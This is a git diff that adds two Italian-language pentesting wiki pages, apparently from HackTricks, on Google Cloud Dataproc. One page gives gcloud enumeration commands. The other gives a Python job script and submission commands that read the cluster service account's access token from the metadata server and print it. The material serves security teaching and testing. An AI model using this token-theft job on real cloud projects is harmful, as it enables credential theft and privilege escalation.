diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..1b5e791a1 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +Non sono riuscito a ottenere una reverse shell utilizzando questo metodo, tuttavia è possibile leakare il token SA dall'endpoint dei metadati utilizzando il metodo descritto di seguito. + +#### Steps to exploit + +- Posizionare lo script del lavoro nel GCP Bucket + +- Inviare un lavoro a un cluster Dataproc. + +- Utilizzare il lavoro per accedere al server dei metadati. + +- Leakare il token dell'account di servizio utilizzato dal cluster. +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..33706510e --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Informazioni di Base + +Google Cloud Dataproc è un servizio completamente gestito per eseguire Apache Spark, Apache Hadoop, Apache Flink e altri framework di big data. È principalmente utilizzato per l'elaborazione dei dati, le query, l'apprendimento automatico e l'analisi in streaming. Dataproc consente alle organizzazioni di creare cluster per il calcolo distribuito con facilità, integrandosi perfettamente con altri servizi di Google Cloud Platform (GCP) come Cloud Storage, BigQuery e Cloud Monitoring. + +I cluster Dataproc vengono eseguiti su macchine virtuali (VM), e l'account di servizio associato a queste VM determina i permessi e il livello di accesso del cluster. + +## Componenti + +Un cluster Dataproc include tipicamente: + +Nodo Master: Gestisce le risorse del cluster e coordina i compiti distribuiti. + +Nodi Worker: Eseguono i compiti distribuiti. + +Account di Servizio: Gestiscono le chiamate API e accedono ad altri servizi GCP. + +## Enumerazione + +I cluster, i lavori e le configurazioni di Dataproc possono essere enumerati per raccogliere informazioni sensibili, come account di servizio, permessi e potenziali misconfigurazioni. + +### Enumerazione del Cluster + +Per enumerare i cluster Dataproc e recuperare i loro dettagli: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### Enumerazione dei Lavori +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}